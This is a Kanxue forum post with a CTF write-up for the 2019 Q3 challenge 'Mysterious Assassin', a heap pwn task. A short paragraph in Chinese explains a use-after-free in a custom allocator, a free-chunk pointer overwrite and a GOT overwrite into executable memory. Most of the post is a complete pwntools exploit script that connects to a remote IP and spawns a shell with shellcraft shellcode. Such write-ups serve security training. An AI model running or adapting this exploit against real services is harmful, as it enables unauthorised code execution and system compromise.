首页
社区
课程
招聘
[原创]【2019看雪CTF】Q3赛季 第六题:神秘刺客 WP
2019-9-25 00:51 4276

[原创]【2019看雪CTF】Q3赛季 第六题:神秘刺客 WP

2019-9-25 00:51
4276

【2019看雪CTF】Q3赛季 第六题:神秘刺客 WP

程序重新自己实现了简单的malloc和free,并且存在uaf,可以直接修改free掉过的chunk的fd指向存在"\x7F"的stdin附近(程序没有PIE),而后注意到其malloc的实现时调用map生成的地址可读可写可执行,将一个note指向got表,将其修改到布置好shellcode的地址即可。

from pwn import *

context.log_level="debug"
context.arch="amd64"
def add(size):
    p.sendlineafter("| ","A")
    p.sendlineafter(": ",str(size))
def delete(index):
    p.sendlineafter("| ","F")
    p.sendlineafter(": ",str(index))
def edit(index,note):
    p.sendlineafter("| ","W")
    p.sendlineafter(": ",str(index))
    p.sendafter(": ",note)
#p=process("./0xbird1")
p=remote("154.8.174.214",10000)
add(0x18)
add(0x68)
edit(2,asm(shellcraft.sh()))
delete(1)
edit(1,p64(0)+p64(0x602095))
#0x60208d
add(0x68)
edit(3,"\x00\x00\x00"+p64(0x602018))
#gdb.attach(p)
p.sendlineafter("| ","W")
p.recvuntil("2) ")
shell=int(p.recvuntil(" "),16)
print hex(shell)
p.sendlineafter(": ","1")
p.sendafter(": ",p64(shell))
#gdb.attach(p)
p.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 381
活跃值: (165)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
DlyWtF700 2019-9-25 10:27
2
0
。。。
最后于 2019-9-25 10:27 被DlyWtF700编辑 ,原因:
游客
登录 | 注册 方可回帖
返回